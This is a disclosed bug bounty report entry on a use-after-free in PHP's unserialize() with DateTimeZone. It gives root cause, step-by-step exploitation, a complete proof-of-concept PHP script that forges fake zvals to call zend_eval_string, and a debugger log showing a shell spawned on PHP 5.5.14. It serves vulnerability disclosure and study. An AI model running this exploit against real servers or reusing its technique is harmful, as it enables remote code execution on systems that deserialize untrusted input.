# Use after free vulnerability in unserialize() with DateTimeZone

PHP unserialize() with DateTimeZone __wakeup() frees a zval via convert_to_long(), then R:/r: references reuse freed memory, enabling memory leak and remote code execution.

- Payout: hidden
- Severity: critical
- Program: Internet Bug Bounty
- Found by: ryat
- Disclosed: 2015-02-27
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/55029
- Library page: https://bugbountylibrary.com/r/h1%3A55029
- Tags: area:oss domain:oss impact:data-leak impact:rce kind:bounty platform:hackerone sev:critical tech:php technique:source-review vuln:deserialization vuln:memory-corruption vuln:rce

**Target:** PHP unserialize() / DateTimeZone __wakeup()
**Root cause:** php_date_timezone_initialize_from_hash() calls convert_to_long() on the timezone_type zval, freeing it and its children, but unserialize() still permits R:/r: references to that freed memory.
**Steps:**
1. Craft serialized array with O:12:"DateTimeZone" whose timezone_type is an array (e.g. `a:1:{i:0;i:1;}`) so convert_to_long() frees the zval.
2. Add a string element containing a fake zval (ptr2str of target pointer, length, type flags) and a nested array referencing it via `R:4;`.
3. unserialize() the payload; the reference now points at freed memory, giving a controlled fake zval.
4. Overwrite bytes of the fake zval to point at zend_eval_string() address.
5. Build a second payload with a DateTimeZone whose timezone_type is `R:4;` to trigger the UAF again and call the fake zval as a function, executing `system('sh')`.
6. Run `php uafpoc.php assert "system('sh')==exit()"` to obtain a shell.
**How found:** Code review of php_date_timezone_initialize_from_hash() revealed convert_to_long() frees the zval while unserialize() reference handling (R:/r:) still allows access to it.
**Exploitation:** Attacker controls serialized input to unserialize(); by crafting DateTimeZone objects with array timezone_type and R: references, they free a zval then reuse it as a fake zval pointing to zend_eval_string, achieving arbitrary code execution via assert callback.
**Escalation:** Memory leak of arbitrary blocks plus fake-zval hijack escalates from UAF to full RCE.
**Insight:** In PHP object injection, look for __wakeup()/unserialize handlers that call convert_to_* on attacker-controlled zvals; the type coercion frees the original zval, and R:/r: references can then be pointed at the freed slot to forge a fake zval.

## Proof of concept (copied exactly from the original report)

**PHP unserialize UAF PoC script**

```
$fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";

$data1 = 
'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';

$x = unserialize($data1);
$y = $x[2];

// zend_eval_string()'s address
$y[0][0] = "\x6d";
$y[0][1] = "\x1e";
$y[0][2] = "\x35";
$y[0][3] = "\x00";
$y[0][4] = "\x01";
$y[0][5] = "\x00";
$y[0][6] = "\x00";
$y[0][7] = "\x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\x00\x00\x00\x00";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00";

$data2 = 
'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}';

$z = unserialize($data2);

function ptr2str($ptr)
{
        $out = "";
        for ($i=0; $i<8; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
        }
        return $out;
}

?>
```

**lldb command executing arbitrary code via PoC**

```
(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
Process 13472 launched: '/usr/bin/php' (x86_64)
sh: no job control in this shell
sh-3.2$ php -v
PHP 5.5.14 (cli) (built: Sep  9 2014 19:09:25)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
sh-3.2$ exit
exit
Process 13472 exited with status = 0 (0x00000000)
```

